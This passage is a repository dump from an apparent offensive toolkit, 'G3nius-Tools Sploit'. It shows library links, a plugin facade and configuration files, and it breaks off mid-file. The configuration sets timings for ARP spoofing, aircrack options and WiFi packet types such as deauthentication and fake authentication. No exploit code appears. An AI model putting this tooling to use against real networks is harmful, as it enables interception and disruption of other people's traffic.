-------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_decimal.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_decimal.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_lzma.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_lzma.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_multibytecodec.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_multibytecodec.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_multiprocessing.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_multiprocessing.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_opcode.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_opcode.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_posixshmem.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_posixshmem.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_queue.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_queue.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/_ssl.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/_ssl.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/base_library.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/base_library.zip -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/include/python3.9/pyconfig.h: -------------------------------------------------------------------------------- 1 | #if defined(__linux__) 2 | # if defined(__x86_64__) && defined(__LP64__) 3 | # include 4 | # elif defined(__x86_64__) && defined(__ILP32__) 5 | # include 6 | # elif defined(__i386__) 7 | # include 8 | # elif defined(__aarch64__) && defined(__AARCH64EL__) 9 | # include 10 | # elif defined(__alpha__) 11 | # include 12 | # elif defined(__ARM_EABI__) && defined(__ARM_PCS_VFP) 13 | # include 14 | # elif defined(__ARM_EABI__) && !defined(__ARM_PCS_VFP) 15 | # include 16 | # elif defined(__hppa__) 17 | # include 18 | # elif defined(__ia64__) 19 | # include 20 | # elif defined(__m68k__) && !defined(__mcoldfire__) 21 | # include 22 | # elif defined(__mips_hard_float) && defined(__mips_isa_rev) && (__mips_isa_rev >=6) && defined(_MIPSEL) 23 | # if _MIPS_SIM == _ABIO32 24 | # include 25 | # elif _MIPS_SIM == _ABIN32 26 | # include 27 | # elif _MIPS_SIM == _ABI64 28 | # include 29 | # else 30 | # error unknown multiarch location for pyconfig.h 31 | # endif 32 | # elif defined(__mips_hard_float) && defined(__mips_isa_rev) && (__mips_isa_rev >=6) 33 | # if _MIPS_SIM == _ABIO32 34 | # include 35 | # elif _MIPS_SIM == _ABIN32 36 | # include 37 | # elif _MIPS_SIM == _ABI64 38 | # include 39 | # else 40 | # error unknown multiarch location for pyconfig.h 41 | # endif 42 | # elif defined(__mips_hard_float) && defined(_MIPSEL) 43 | # if _MIPS_SIM == _ABIO32 44 | # include 45 | # elif _MIPS_SIM == _ABIN32 46 | # include 47 | # elif _MIPS_SIM == _ABI64 48 | # include 49 | # else 50 | # error unknown multiarch location for pyconfig.h 51 | # endif 52 | # elif defined(__mips_hard_float) 53 | # if _MIPS_SIM == _ABIO32 54 | # include 55 | # elif _MIPS_SIM == _ABIN32 56 | # include 57 | # elif _MIPS_SIM == _ABI64 58 | # include 59 | # else 60 | # error unknown multiarch location for pyconfig.h 61 | # endif 62 | # elif defined(__or1k__) 63 | # include 64 | # elif defined(__powerpc__) && defined(__SPE__) 65 | # include 66 | # elif defined(__powerpc64__) 67 | # if defined(__LITTLE_ENDIAN__) 68 | # include 69 | # else 70 | # include 71 | # endif 72 | # elif defined(__powerpc__) 73 | # include 74 | # elif defined(__s390x__) 75 | # include 76 | # elif defined(__s390__) 77 | # include 78 | # elif defined(__sh__) && defined(__LITTLE_ENDIAN__) 79 | # include 80 | # elif defined(__sparc__) && defined(__arch64__) 81 | # include 82 | # elif defined(__sparc__) 83 | # include 84 | # elif defined(__riscv) 85 | # if __riscv_xlen == 64 86 | # include 87 | # else 88 | # include 89 | # endif 90 | # else 91 | # error unknown multiarch location for pyconfig.h 92 | # endif 93 | #elif defined(__FreeBSD_kernel__) 94 | # if defined(__LP64__) 95 | # include 96 | # elif defined(__i386__) 97 | # include 98 | # else 99 | # error unknown multiarch location for pyconfig.h 100 | # endif 101 | #elif defined(__gnu_hurd__) 102 | # include 103 | #else 104 | # error unknown multiarch location for pyconfig.h 105 | #endif 106 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/libbz2.so.1.0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/libbz2.so.1.0 -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/libcrypto.so.1.1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/libcrypto.so.1.1 -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/libexpat.so.1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/libexpat.so.1 -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/libffi.so.7: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/libffi.so.7 -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/liblzma.so.5: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/liblzma.so.5 -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/libpython3.9.so.1.0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/libpython3.9.so.1.0 -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/libreadline.so.8: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/libreadline.so.8 -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/libssl.so.1.1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/libssl.so.1.1 -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/libtinfo.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/libtinfo.so.6 -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/libz.so.1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/libz.so.1 -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/mmap.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/mmap.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/readline.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/readline.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/resource.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/resource.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/RunLibs/termios.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/lib/RunLibs/termios.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/lib/classes/core.py: -------------------------------------------------------------------------------- 1 | # NOTE: 2 | # It's also a facade design pattern. 3 | 4 | """ libs """ 5 | # core 6 | from lib.core.Error_Handler import Handler 7 | from lib.core.G3nius_Location import G3nius_Location 8 | from lib.core.End_Plugin import End_Plugin 9 | from lib.core.Check_Supported_OS import Check_Supported 10 | from lib.core.Exit_Request import Exit_Request 11 | from lib.core.OS_Detector import OS 12 | from lib.core.Run_File import Run_File 13 | # main 14 | from lib.core.main.Restart_G3nius import Restart_G3nius 15 | from lib.core.main.Plugin_Launcher import Plugin_Launcher 16 | from lib.core.main.Statistics import Send_Statistics 17 | from lib.core.main.Generate_Menu import Generate_Menu 18 | from lib.core.main.Do_On_Startup import Startup 19 | from lib.core.main.Clean_Temp_Dir import Clean_Temp_Dir 20 | # installers 21 | from lib.core.installers.check import Check_Installtion_G3nius 22 | from lib.core.installers.installer_uninstaller import Install_G3nius, Uninstall_G3nius 23 | 24 | """ FACADE """ 25 | import lib.config.Error_Levels as Error_Levels 26 | 27 | 28 | """ class """ 29 | class core: 30 | # Core 31 | def OS(): 32 | return OS 33 | 34 | def End_Plugin(): 35 | return End_Plugin() 36 | 37 | def G3nius_Location(): 38 | return G3nius_Location() 39 | 40 | def Handler(*args, **keywords): 41 | return Handler(*args, **keywords) 42 | 43 | def Run_File(*args, **keywords): 44 | return Run_File(*args, **keywords) 45 | 46 | def Exit_Request(*args, **keywords): 47 | return Exit_Request(*args, **keywords) 48 | 49 | def Check_Supported(*args, **keywords): 50 | return Check_Supported(*args, **keywords) 51 | 52 | # main 53 | class main: 54 | def Startup(): 55 | return Startup() 56 | 57 | def Restart_G3nius(): 58 | return Restart_G3nius() 59 | 60 | def Generate_Menu(*args, **keywords): 61 | return Generate_Menu(*args, **keywords) 62 | 63 | def Clean_Temp_Dir(*args, **keywords): 64 | return Clean_Temp_Dir(*args, **keywords) 65 | 66 | def Plugin_Launcher(*args, **keywords): 67 | return Plugin_Launcher(*args, **keywords) 68 | 69 | def Send_Statistics(*args, **keywords): 70 | return Send_Statistics(*args, **keywords) 71 | 72 | # installers 73 | class installers: 74 | def Check_Installtion_G3nius(*args, **keywords): 75 | return Check_Installtion_G3nius(*args, **keywords) 76 | 77 | def Install_G3nius(*args, **keywords): 78 | return Install_G3nius(*args, ** keywords) 79 | 80 | def Uninstall_G3nius(*args, **keywords): 81 | return Uninstall_G3nius(*args, **keywords) 82 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/config/ADB_Keycodes.py: -------------------------------------------------------------------------------- 1 | # Wrote by API version 21 2 | # From developer.android.com at: 3 | # https://developer.android.com/reference/android/view/KeyEven 4 | 5 | class acions: 6 | DOWN = 0 7 | MULTIPLE = 2 8 | UP = 1 9 | 10 | 11 | class flags: 12 | CANCELED = 32 13 | CANCELED_LONG_PRESS = 256 14 | EDITOR_ACTION = 16 15 | FALLBACK = 1024 16 | FROM_SYSTEM = 8 17 | KEEP_TOUCH_MODE = 4 18 | LONG_PRESS = 128 19 | SOFT_KEYBOARD = 2 20 | TRACKING = 512 21 | VIRTUAL_HARD_KEY = 64 22 | WOKE_HERE = 1 23 | 24 | 25 | class key_codes: 26 | Numbers_0 = 7 27 | Numbers_1 = 8 28 | Numbers_11 = 21 29 | Numbers_12 = 228 30 | Numbers_2 = 9 31 | Numbers_3 = 10 32 | MODE_3D = 206 33 | Numbers_4 = 11 34 | Numbers_5 = 12 35 | Numbers_6 = 13 36 | Numbers_7 = 14 37 | Numbers_8 = 15 38 | Numbers_9 = 16 39 | A = 29 40 | ALL_APPS = 284 41 | ALT_LEFT = 57 42 | ALT_RIGHT = 58 43 | APOSTROPHE = 75 44 | APP_SWITCH = 187 45 | ASSIST = 219 46 | AT = 77 47 | AVR_INPUT = 182 48 | AVR_POWER = 181 49 | B = 30 50 | BACK = 4 51 | BACKSLASH = 73 52 | BOOKMARK = 174 53 | BREAK = 121 54 | BRIGHTNESS_DOWN = 220 55 | BRIGHTNESS_UP = 221 56 | BUTTON_1 = 188 57 | BUTTON_10 = 197 58 | BUTTON_11 = 198 59 | BUTTON_12 = 199 60 | BUTTON_13 = 200 61 | BUTTON_14 = 201 62 | BUTTON_15 = 202 63 | BUTTON_16 = 203 64 | BUTTON_2 = 189 65 | BUTTON_3 = 190 66 | BUTTON_4 = 191 67 | BUTTON_5 = 192 68 | BUTTON_6 = 193 69 | BUTTON_7 = 194 70 | BUTTON_8 = 195 71 | BUTTON_9 = 196 72 | BUTTON_A = 96 73 | BUTTON_B = 97 74 | BUTTON_C = 98 75 | BUTTON_L1 = 102 76 | BUTTON_L2 = 104 77 | BUTTON_MODE = 110 78 | BUTTON_R1 = 103 79 | BUTTON_R2 = 105 80 | BUTTON_SELECT = 109 81 | BUTTON_START = 108 82 | BUTTON_THUMBL = 106 83 | BUTTON_THUMBR = 107 84 | BUTTON_X = 99 85 | BUTTON_Y = 100 86 | BUTTON_Z = 101 87 | C = 31 88 | CALCULATOR = 210 89 | CALENDAR = 208 90 | CALL = 5 91 | CAMERA = 27 92 | CAPS_LOCK = 115 93 | CAPTIONS = 175 94 | CHANNEL_DOWN = 176 95 | CHANNEL_UP = 166 96 | CLEAR = 28 97 | COMMA = 55 98 | CONTACTS = 207 99 | COPY = 278 100 | CTRL_LEFT = 113 101 | CTRL_RIGHT = 114 102 | CUT = 227 103 | D = 32 104 | DEL = 67 105 | DEMO_APP_1 = 301 106 | DEMO_APP_2 = 302 107 | DEMO_APP_3 = 303 108 | DEMO_APP_4 = 304 109 | DPAD_CENTER = 23 110 | DPAD_DOWN = 20 111 | DPAD_DOWN_LEFT = 269 112 | DPAD_DOWN_RIGHT = 271 113 | DPAD_LEFT = 21 114 | DPAD_RIGHT = 22 115 | DPAD_UP = 19 116 | DPAD_UP_LEFT = 268 117 | DPAD_UP_RIGHT = 270 118 | DVR = 173 119 | E = 33 120 | EISU = 212 121 | ENDCALL = 6 122 | ENTER = 66 123 | ENVELOPE = 65 124 | EQUALS = 70 125 | ESCAPE = 111 126 | EXPLORER = 64 127 | F = 34 128 | F1 = 131 129 | F10 = 140 130 | F11 = 141 131 | F12 = 142 132 | F2 = 132 133 | F3 = 133 134 | F4 = 134 135 | F5 = 135 136 | F6 = 136 137 | F7 = 137 138 | F8 = 138 139 | F9 = 139 140 | FEATURED_APP_1 = 297 141 | FEATURED_APP_2 = 298 142 | FEATURED_APP_3 = 299 143 | FEATURED_APP_4 = 300 144 | FOCUS = 80 145 | FORWARD = 125 146 | FORWARD_DEL = 112 147 | FUNCTION = 119 148 | G = 35 149 | GRAVE = 68 150 | GUIDE = 172 151 | H = 36 152 | HEADSETHOOK = 79 153 | HELP = 259 154 | HENKAN = 214 155 | HOME = 3 156 | I = 37 157 | INFO = 165 158 | INSERT = 124 159 | J = 38 160 | K = 39 161 | KANA = 218 162 | KATAKANA_HIRAGANA = 215 163 | KEYBOARD_BACKLIGHT_DOWN = 305 164 | KEYBOARD_BACKLIGHT_TOGGLE = 307 165 | KEYBOARD_BACKLIGHT_UP = 306 166 | L = 40 167 | LANGUAGE_SWITCH = 204 168 | LAST_CHANNEL = 229 169 | LEFT_BRACKET = 71 170 | M = 41 171 | MANNER_MODE = 205 172 | MEDIA_AUDIO_TRACK = 222 173 | MEDIA_CLOSE = 128 174 | MEDIA_EJECT = 129 175 | MEDIA_FAST_FORWARD = 90 176 | MEDIA_NEXT = 87 177 | MEDIA_PAUSE = 127 178 | MEDIA_PLAY = 126 179 | MEDIA_PLAY_PAUSE = 85 180 | MEDIA_PREVIOUS = 88 181 | MEDIA_RECORD = 130 182 | MEDIA_REWIND = 89 183 | MEDIA_SKIP_BACKWARD = 273 184 | MEDIA_SKIP_FORWARD = 272 185 | MEDIA_STEP_BACKWARD = 275 186 | MEDIA_STEP_FORWARD = 274 187 | MEDIA_STOP = 86 188 | MEDIA_TOP_MENU = 226 189 | MENU = 82 190 | META_LEFT = 117 191 | META_RIGHT = 118 192 | MINUS = 69 193 | MOVE_END = 123 194 | MOVE_HOME = 122 195 | MUHENKAN = 213 196 | MUSIC = 209 197 | MUTE = 91 198 | N = 42 199 | NAVIGATE_IN = 262 200 | NAVIGATE_NEXT = 261 201 | NAVIGATE_OUT = 263 202 | NAVIGATE_PREVIOUS = 260 203 | NOTIFICATION = 83 204 | NUM = 78 205 | NUMPAD_0 = 144 206 | NUMPAD_1 = 145 207 | NUMPAD_2 = 146 208 | NUMPAD_3 = 147 209 | NUMPAD_4 = 148 210 | NUMPAD_5 = 149 211 | NUMPAD_6 = 150 212 | NUMPAD_7 = 151 213 | NUMPAD_8 = 152 214 | NUMPAD_9 = 153 215 | NUMPAD_ADD = 157 216 | NUMPAD_COMMA = 159 217 | NUMPAD_DIVIDE = 154 218 | NUMPAD_DOT = 158 219 | NUMPAD_ENTER = 160 220 | NUMPAD_EQUALS = 161 221 | NUMPAD_LEFT_PAREN = 162 222 | NUMPAD_MULTIPLY = 155 223 | NUMPAD_RIGHT_PAREN = 163 224 | NUMPAD_SUBTRACT = 156 225 | NUM_LOCK = 143 226 | O = 43 227 | P = 44 228 | PAGE_DOWN = 93 229 | PAGE_UP = 92 230 | PAIRING = 225 231 | PASTE = 279 232 | PERIOD = 56 233 | PICTSYMBOLS = 94 234 | PLUS = 81 235 | POUND = 18 236 | POWER = 26 237 | PROFILE_SWITCH = 228 238 | PROG_BLUE = 186 239 | PROG_GREEN = 184 240 | PROG_RED = 183 241 | PROG_YELLOW = 185 242 | Q = 45 243 | R = 46 244 | RECENT_APPS = 312 245 | REFRESH = 285 246 | RIGHT_BRACKET = 72 247 | RO = 217 248 | S = 47 249 | SCROLL_LOCK = 116 250 | SEARCH = 84 251 | SEMICOLON = 74 252 | SETTINGS = 176 253 | SHIFT_LEFT = 59 254 | SHIFT_RIGHT = 60 255 | SLASH = 76 256 | SLEEP = 223 257 | SOFT_LEFT = 1 258 | SOFT_RIGHT = 2 259 | SOFT_SLEEP = 276 260 | SPACE = 62 261 | STAR = 17 262 | STB_INPUT = 180 263 | STB_POWER = 179 264 | STEM_1 = 265 265 | STEM_2 = 266 266 | STEM_3 = 267 267 | STEM_PRIMARY = 264 268 | STYLUS_BUTTON_PRIMARY = 308 269 | STYLUS_BUTTON_SECONDARY = 309 270 | STYLUS_BUTTON_TAIL = 311 271 | STYLUS_BUTTON_TERTIARY = 310 272 | SWITCH_CHARSET = 95 273 | SYM = 63 274 | SYSRQ = 120 275 | SYSTEM_NAVIGATION_DOWN = 281 276 | SYSTEM_NAVIGATION_LEFT = 282 277 | SYSTEM_NAVIGATION_RIGHT = 283 278 | SYSTEM_NAVIGATION_UP = 280 279 | T = 48 280 | TAB = 61 281 | THUMBS_DOWN = 287 282 | THUMBS_UP = 286 283 | TV = 170 284 | TV_ANTENNA_CABLE = 242 285 | TV_AUDIO_DESCRIPTION = 252 286 | TV_AUDIO_DESCRIPTION_MIX_DOWN = 254 287 | TV_AUDIO_DESCRIPTION_MIX_UP = 253 288 | TV_CONTENTS_MENU = 256 289 | TV_DATA_SERVICE = 230 290 | TV_INPUT = 178 291 | TV_INPUT_COMPONENT_1 = 249 292 | TV_INPUT_COMPONENT_2 = 250 293 | TV_INPUT_COMPOSITE_1 = 247 294 | TV_INPUT_COMPOSITE_2 = 248 295 | TV_INPUT_HDMI_1 = 243 296 | TV_INPUT_HDMI_2 = 244 297 | TV_INPUT_HDMI_3 = 245 298 | TV_INPUT_HDMI_4 = 246 299 | TV_INPUT_VGA_1 = 251 300 | TV_MEDIA_CONTEXT_MENU = 257 301 | TV_NETWORK = 241 302 | TV_NUMBER_ENTRY = 234 303 | TV_POWER = 177 304 | TV_RADIO_SERVICE = 232 305 | TV_SATELLITE = 237 306 | TV_SATELLITE_BS = 238 307 | TV_SATELLITE_CS = 239 308 | TV_SATELLITE_SERVICE = 240 309 | TV_TELETEXT = 233 310 | TV_TERRESTRIAL_ANALOG = 235 311 | TV_TERRESTRIAL_DIGITAL = 236 312 | TV_TIMER_PROGRAMMING = 258 313 | TV_ZOOM_MODE = 255 314 | U = 49 315 | UNKNOWN = 0 316 | V = 50 317 | VIDEO_APP_1 = 289 318 | VIDEO_APP_2 = 290 319 | VIDEO_APP_3 = 291 320 | VIDEO_APP_4 = 292 321 | VIDEO_APP_5 = 293 322 | VIDEO_APP_6 = 294 323 | VIDEO_APP_7 = 295 324 | VIDEO_APP_8 = 296 325 | VOICE_ASSIST = 231 326 | VOLUME_DOWN = 25 327 | VOLUME_MUTE = 164 328 | VOLUME_UP = 24 329 | W = 51 330 | WAKEUP = 224 331 | WINDOW = 171 332 | X = 52 333 | Y = 53 334 | YEN = 216 335 | Z = 54 336 | ZENKAKU_HANKAKU = 211 337 | ZOOM_IN = 168 338 | ZOOM_OUT = 169 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | MAX_KEYCODE = 84 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | class meta: 357 | ALT_LEFT_ON = 16 358 | ALT_MASK = 50 359 | ALT_ON = 2 360 | ALT_RIGHT_ON = 32 361 | CAPS_LOCK_ON = 1048576 362 | CTRL_LEFT_ON = 8192 363 | CTRL_MASK = 28672 364 | CTRL_ON = 4096 365 | CTRL_RIGHT_ON = 16384 366 | FUNCTION_ON = 8 367 | META_LEFT_ON = 131072 368 | META_MASK = 458752 369 | META_ON = 65536 370 | META_RIGHT_ON = 262144 371 | NUM_LOCK_ON = 2097152 372 | SCROLL_LOCK_ON = 4194304 373 | SHIFT_LEFT_ON = 64 374 | SHIFT_MASK = 193 375 | SHIFT_ON = 1 376 | SHIFT_RIGHT_ON = 128 377 | SYM_ON = 4 378 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/config/Error_Levels.py: -------------------------------------------------------------------------------- 1 | Critical = 1 # exit with code 1 2 | High = 2 # can't run but don't exit 3 | Exclamation = 2 # ! 4 | Confirm = 3 # 5 | Question = 3 # ? 6 | Failed_Job = 4 # run but failed job 7 | Minus = 4 # - 8 | Alert = 5 # just show alert 9 | Plus = 5 # + 10 | Info = 6 # log a information 11 | Star = 6 # * 12 | NoStyle = None # Don't style text 13 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/config/Exit_Codes.py: -------------------------------------------------------------------------------- 1 | # they're all bash exit codes 2 | Normal = 0 3 | Crash = 1 4 | MissSourceCode = 2 # empty_function() {} 5 | CanNotExecute = 126 # /dev/null 6 | CommandNotFound = 127 # not_found_abcd_command 7 | InvalidArgument = 128 # exit 3.12 8 | CTRL_C = 130 # CTRL + C 9 | OutOfRange = 255 # exit -1 -------------------------------------------------------------------------------- /G3nius-Tools/lib/config/GPL.py: -------------------------------------------------------------------------------- 1 | # network attackers 2 | Default_TTL = 128 3 | ICMP_Timeout = 2 # sec 4 | ARP_Timeout = 2 # sec 5 | ARP_Spoof_Resend_Sleep = 1 # sec 6 | Check_WiFi_Channel_Changed_In_Change = 0.25 # sec 7 | Change_Channel_Try_Times = 20 8 | Default_WiFi_ScanTime = 10 # sec 9 | AirCrack_More_Arguments_Scan = '--write-interval 1' # If Change that, Are not should change output 10 | AirCrack_More_Arguments_Capture = '' 11 | AirCrack_More_Arguments_Fake_Packet = '--ignore-negative-one' 12 | SSH_Timeout = 10 # sec 13 | Encoding = 'utf-8' 14 | Macro_Apply_Time = 0.0001 15 | Wordpress_Theme_Path = '/wp-content/themes/' 16 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/config/Main_Configs.py: -------------------------------------------------------------------------------- 1 | """ G3nius core """ 2 | Version = '2.4.0' 3 | Type = 'Linux' # can be = ARM - Windows - Linux 4 | License = 'FREE' # can be = FREE - PREMIUM 5 | Sleep_On_Unknown_OS = 5 6 | Sleep_When_Plugin_Failed_Load = 1 7 | Default_Sleep_Time = 1 8 | Statistics_Reports = True # Just for census ,Can be "True" or "False" 9 | Block_Windows_CMD = True # Because CMD can't show colored text 10 | Product_Name = 'G3nius-Tools Sploit' 11 | Include_G3nius_Libs_At_Plugin_Start_With = "# import G3nius-Tools" 12 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/config/WiFi_Channels_and_freq.py: -------------------------------------------------------------------------------- 1 | # all of signals is GHz 2 | class Channel_to_freq: 3 | Channel_1 = 2.412 4 | Channel_2 = 2.417 5 | Channel_3 = 2.422 6 | Channel_4 = 2.427 7 | Channel_5 = 2.432 8 | Channel_6 = 2.437 9 | Channel_7 = 2.442 10 | Channel_8 = 2.447 11 | Channel_9 = 2.452 12 | Channel_10 = 2.457 13 | Channel_11 = 2.462 14 | Channel_12 = 2.467 15 | Channel_13 = 2.472 16 | Channel_36 = 5.18 17 | Channel_40 = 5.2 18 | Channel_44 = 5.22 19 | Channel_48 = 5.24 20 | Channel_52 = 5.26 21 | Channel_56 = 5.28 22 | Channel_60 = 5.3 23 | Channel_64 = 5.32 24 | Channel_100 = 5.5 25 | Channel_104 = 5.52 26 | Channel_108 = 5.54 27 | Channel_112 = 5.56 28 | Channel_116 = 5.58 29 | Channel_120 = 5.6 30 | Channel_124 = 5.62 31 | Channel_128 = 5.64 32 | Channel_132 = 5.66 33 | Channel_136 = 5.68 34 | Channel_140 = 5.7 -------------------------------------------------------------------------------- /G3nius-Tools/lib/config/WiFi_Fake_Packets.py: -------------------------------------------------------------------------------- 1 | # Packets types 2 | class Packets: 3 | Deauth = 0 4 | Fake_Auth = 1 5 | Interactive = 2 6 | ArpReplay = 3 7 | ChopChop = 4 8 | Fragment = 5 9 | Caffe_Latte = 6 10 | CFrag = 7 11 | MigMode = 8 12 | Test = 9 -------------------------------------------------------------------------------- /G3nius-Tools/lib/core/Check_Supported_OS.py: -------------------------------------------------------------------------------- 1 | # libs 2 | from lib.core.OS_Detector import OS 3 | from lib.core.Error_Handler import Handler 4 | import lib.config.Error_Levels as Error_Levels 5 | 6 | """ check supported """ 7 | # don't exit or end plugin 8 | def Check_Supported(Windows=False, Linux=False, Unknown=False, on_unsupported_OS_text=None): 9 | if OS == 'Windows': 10 | if Windows: 11 | return True 12 | else: 13 | return False 14 | elif OS == 'Linux': 15 | if Linux: 16 | return True 17 | else: 18 | return False 19 | else: 20 | # unknown OS 21 | if Unknown: 22 | if on_unsupported_OS_text: 23 | Handler(Error_Levels.Alert, on_unsupported_OS_text) 24 | return True 25 | else: 26 | return False -------------------------------------------------------------------------------- /G3nius-Tools/lib/core/End_Plugin.py: -------------------------------------------------------------------------------- 1 | class EndScript_Class(Exception): 2 | pass 3 | 4 | def End_Plugin(): 5 | raise EndScript_Class -------------------------------------------------------------------------------- /G3nius-Tools/lib/core/Error_Handler.py: -------------------------------------------------------------------------------- 1 | # import libs 2 | import lib.config.Error_Levels as Error_Levels 3 | import lib.config.Exit_Codes as Exit_Codes 4 | from lib.packages.termcolor import colored 5 | from lib.core.Exit_Request import Exit_Request 6 | 7 | """ error handler """ 8 | def Handler(Error_Level, Title, Description=None, Clear_Page=True, Print_Before=None, Without_Newline=False): 9 | End = "\n" 10 | if Print_Before: 11 | print(Print_Before, end='') 12 | if Without_Newline: 13 | End = '' 14 